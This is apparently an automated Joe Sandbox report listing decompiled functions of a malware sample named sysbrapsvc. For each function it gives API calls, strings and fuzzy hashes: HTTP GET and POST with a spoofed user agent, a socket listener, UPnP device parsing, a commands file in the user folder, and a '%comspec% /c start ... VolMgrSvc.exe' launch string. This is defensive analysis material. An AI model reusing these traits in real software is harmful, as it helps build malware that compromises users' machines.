Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 60baf994038672de7e905354210f4f0cccfe67ebee51479d5c5c355a5e8cecad
Instruction ID: 39a3b49c0f9cc0ba3e3bafda0df6f1f41861fe80aa697247161161d98fc04bc2
Opcode Fuzzy Hash: 60baf994038672de7e905354210f4f0cccfe67ebee51479d5c5c355a5e8cecad
Instruction Fuzzy Hash: 9AE0CD3594830876DA1065A15C02BA6371C5711701F0000B5AF14A21C1E5765119926B

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138networksynchronizationCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

ilci, xrefs: 004019E1
PCOI, xrefs: 0040198A

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction ID: 2c6eba30162642fa916e9f7e0fa03190df933f3dd928bdc23040f585d31ac0f6
Opcode Fuzzy Hash: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction Fuzzy Hash: 9E41F671600300ABCB209F74DC8CB9B77A9AF44720F14463DF995A72E1DB78E881CB99

Function 0040E9A0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040E9C8
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EA18
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EA2B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040EA64
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040EA9A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040EAC5
HttpSendRequestA.WININET(00000000,00411FA0,000000FF,00009E34), ref: 0040EAEF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040EB2E
memcpy.NTDLL(00000000,?,00000000), ref: 0040EB80
InternetCloseHandle.WININET(00000000), ref: 0040EBB1
InternetCloseHandle.WININET(00000000), ref: 0040EBBE
InternetCloseHandle.WININET(00000000), ref: 0040EBCB

Strings

POST, xrefs: 0040EA8E
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EA26
<, xrefs: 0040E9D0

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 9c5f2d3cdb4df672490472a7b015f26657257ad2340108b2c41028c19e4f182d
Instruction ID: 65d8e98dfcdbd5221f12c344ddab433f9c0af5994e8cd23f0dde2b718a24ef5d
Opcode Fuzzy Hash: 9c5f2d3cdb4df672490472a7b015f26657257ad2340108b2c41028c19e4f182d
Instruction Fuzzy Hash: 91512EB5901228ABDB26CF54CC54FE9B3BCAB48705F1485E9B60DA6280D7B86FC4CF54

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

PCOI, xrefs: 0040160D
ilci, xrefs: 00401630

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: c24e2c281c1906b642cdb759e74aa8db22e1369ec12f41aa5922d382b373e513
Instruction ID: 4aeae16d9e67a94d8ff1aa5cc2109be900ec35187bf01e7539301e61904878f7
Opcode Fuzzy Hash: c24e2c281c1906b642cdb759e74aa8db22e1369ec12f41aa5922d382b373e513
Instruction Fuzzy Hash: FA319475900705ABC7209F70EC48B97B7A8BF08300F048A3AF559A3691C77AF894CB98

Function 0040E070 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040E098
InternetCrackUrlA.WININET(0040DB49,00000000,10000000,0000003C), ref: 0040E0E8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E0F8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E131
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E167
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E18F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E1D8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E22A
InternetCloseHandle.WININET(00000000), ref: 0040E267
InternetCloseHandle.WININET(00000000), ref: 0040E274
InternetCloseHandle.WININET(00000000), ref: 0040E281

Strings

<, xrefs: 0040E0A0
GET, xrefs: 0040E15B

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: b5606582fcf9fad391a6fa346b47e70fe2b71523f8a0056a0553dfb9fae7cb88
Instruction ID: 8a187a806069c9ef74607f7bf39df95f2c1829c28a5b92bcc4b0b83bf30a7a56
Opcode Fuzzy Hash: b5606582fcf9fad391a6fa346b47e70fe2b71523f8a0056a0553dfb9fae7cb88
Instruction Fuzzy Hash: 16512DB1941228ABDB36CB50CC55BE9B3BCAB48705F1444E9F60DAA2C0D7B96BC4CF54

Function 00406000 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041A400,00000000,0040BDA2,006A0266,?,0040BDBE,00000000,0040D09C,?), ref: 0040600F
memcpy.NTDLL(?,00000000,00000100), ref: 004060A1
CreateFileW.KERNEL32(C:\Users\user\tbtcmds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004061C5
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406227
FlushFileBuffers.KERNEL32(000000FF), ref: 00406233
CloseHandle.KERNEL32(000000FF), ref: 0040623D
LeaveCriticalSection.KERNEL32(0041A400,?,?,?,?,?,?,0040BDBE,00000000,0040D09C,?), ref: 00406248

Strings

C:\Users\user\tbtcmds.dat, xrefs: 004061C0

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID: C:\Users\user\tbtcmds.dat
API String ID: 1457358591-3965455335
Opcode ID: efe6472d381cb2bf389d5362b33cf11889a757296c607a9731db49fac703d1ba
Instruction ID: 2241f90cca7a27a2546e95c76b2552fd8efe4d50fa40d22b7b041634b3385480
Opcode Fuzzy Hash: efe6472d381cb2bf389d5362b33cf11889a757296c607a9731db49fac703d1ba
Instruction Fuzzy Hash: 4271CFB4E002099BCB04CF94D985FEFB7B1AB48304F14857DE505BB382D779A951CBA6

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040D950: NtQuerySystemTime.NTDLL(0040B865), ref: 0040D95A
Part of subcall function 0040D950: RtlTimeToSecondsSince1980.NTDLL ref: 0040D968

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction ID: 68686fb6eff55c499ad5be399ae1fa7ea08460e57826cc3027d59358e60976cc
Opcode Fuzzy Hash: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction Fuzzy Hash: 34519E75608B02ABC704DF39D488B9BFBE4BF88314F44872EF89983360D775A5458B96

Function 0040E6F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E7AC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E7FB
SysFreeString.OLEAUT32(00000000), ref: 0040E80F
SysFreeString.OLEAUT32(00000000), ref: 0040E827

Strings

deviceType, xrefs: 0040E7B6
device, xrefs: 0040E7A3

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 566d6412d8e9607f6d1003a374969e2899c9cbeba23211f1a4d6a59564ece201
Instruction ID: 7a529818069a58d4d2ae4584624926d6a8b7ee91a4ee1179ae14f9cec19009dd
Opcode Fuzzy Hash: 566d6412d8e9607f6d1003a374969e2899c9cbeba23211f1a4d6a59564ece201
Instruction Fuzzy Hash: FC412AB5A0020ADFCB04DF99C884BAFB7B9FF48304F108569E515A7390D778AE85CB94

Function 0040E590 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E64C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E69B
SysFreeString.OLEAUT32(00000000), ref: 0040E6AF
SysFreeString.OLEAUT32(00000000), ref: 0040E6C7

Strings

service, xrefs: 0040E643
serviceType, xrefs: 0040E656

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 4e76592112a6a420ff5714064f2ae1a029c18f39b0799c1555199cf660da6998
Instruction ID: 0dd75c4ae2219cb0414d4c222623d171442623ab9389109279868d9d6e555a3a
Opcode Fuzzy Hash: 4e76592112a6a420ff5714064f2ae1a029c18f39b0799c1555199cf660da6998
Instruction Fuzzy Hash: FA413C74A0020ADFCB04CF99D884BAFB7B5BF58304F508969E505A7390D779EA91CF94

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: af92e2ebcd257162aa272662d4163ff3babde7a1427c0522630bd4b0e64c68b4
Instruction ID: 37460acbf0a505b6a9388cec97320328f7083b01a8d1f88c89259c7d7d106706
Opcode Fuzzy Hash: af92e2ebcd257162aa272662d4163ff3babde7a1427c0522630bd4b0e64c68b4
Instruction Fuzzy Hash: A031E172200315ABC710AFB5ED8CAD7B7A8FF44324F04463EF58AD3280DB79A4449B99

Function 00406400 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040640B
CoCreateInstance.OLE32(00412920,00000000,00000001,00412900,?), ref: 00406423
wsprintfW.USER32 ref: 00406456

Strings

Gh@, xrefs: 00406472, 00406475
/c start %s & start %s\VolMgrSvc.exe, xrefs: 0040644A
%comspec%, xrefs: 0040645F

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\VolMgrSvc.exe$Gh@
API String ID: 2038452267-1176807594
Opcode ID: 453316c8e6568e69a2546e2d17e52215310be9e24d50f63276e7ec173b6e4f87
Instruction ID: 2c6fb4a3d0a1bb960828f31a0de6db084021911c18f79e55e776afc792a10ffb
Opcode Fuzzy Hash: 453316c8e6568e69a2546e2d17e52215310be9e24d50f63276e7ec173b6e4f87
Instruction Fuzzy Hash: 1931C975A40208EFCB04DF98D885FDEB7B5EF88704F208199E519A73A5CB74AE81CB54

Function 0040E731 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E7AC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E7FB
SysFreeString.OLEAUT32(00000000), ref: 0040E80F
SysFreeString.OLEAUT32(00000000), ref: 0040E827

Strings

deviceType, xrefs: 0040E7B6
device, xrefs: 0040E7A3

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 438aa6f8a1e56f1ba1290af2e787a3c8fe9300d957a7e67b1fd036078c6987af
Instruction ID: 0e4cd8c02c4e5e279ec4fd0352b83bc081febda0d06dc7f405a75fcd32bf7d71
Opcode Fuzzy Hash: 438aa6f8a1e56f1ba1290af2e787a3c8fe9300d957a7e67b1fd036078c6987af
Instruction Fuzzy Hash: AF3109B1E0020ADFCB04DF99D884BAFB7B5EF88304F108569E514A7390D778AA85CB94

Function 0040E5D1 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E64C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E69B
SysFreeString.OLEAUT32(00000000), ref: 0040E6AF
SysFreeString.OLEAUT32(00000000), ref: 0040E6C7

Strings

service, xrefs: 0040E643
serviceType, xrefs: 0040E656

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: fc8eedfaf3eb06c849d6c627dcf627ee8089590ee6ebef9678790b2faf78124f
Instruction ID: dde9dd1fd58b67a95de0ca68c0f21478634a56bbec0f0045ca3d2b9f6da46dfd
Opcode Fuzzy Hash: fc8eedfaf3eb06c849d6c627dcf627ee8089590ee6ebef9678790b2faf78124f
Instruction Fuzzy Hash: 4F312D70A0010ADFCB04CF96D884BEFB7B5BF58304F508969E515A7390D7799991CF94

Function 00409360 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040936D
_aullshr.NTDLL ref: 0040937E
_allshl.NTDLL ref: 004093A0
_aullshr.NTDLL ref: 004093BC
_allshl.NTDLL ref: 004093DE
_aullshr.NTDLL ref: 004093FA

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction ID: 0b1db91c5ce03941f8675f6ecb7f2ec56fce17a7f2d6269111b0fb586e4650a4
Opcode Fuzzy Hash: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction Fuzzy Hash: 27111F326005186B8B10EF9EC48268ABBD6EF84361B15C136FC2CDF359D634E9414BD4

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: 243eef822324ba6441ef6ee7b2426a7a3cc362dd8c79c8fc1e23d0c6d3f739d1
Instruction ID: 9f2c4cc69d55b471d510ac50d158e14e0eacb849a4393371b11790265c13a883
Opcode Fuzzy Hash: 243eef822324ba6441ef6ee7b2426a7a3cc362dd8c79c8fc1e23d0c6d3f739d1
Instruction Fuzzy Hash: 5841D175604B02ABC714DB38D848797F3A4BF84310F18823EE86D933D1E739A855CB99

Function 00408F40 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408F4E
_allshl.NTDLL ref: 00408F5D
_allshl.NTDLL ref: 00408F6C
_allshl.NTDLL ref: 00408F7B
_allshl.NTDLL ref: 00408F8A

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction ID: b0d0b2528f3aca05c18ea064ccca22ed782aa92eb9f3aacb3aeadda2a23aac7b
Opcode Fuzzy Hash: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction Fuzzy Hash: 92F01272A01414979B14EEFE84424CAF7E59F88374B218176FD1CE3260E570B90546F1

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

Part of subcall function 0040A660: RtlFreeHeap.NTDLL(02260000,00000000,00402612,?,00402612,?), ref: 0040A6BB

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

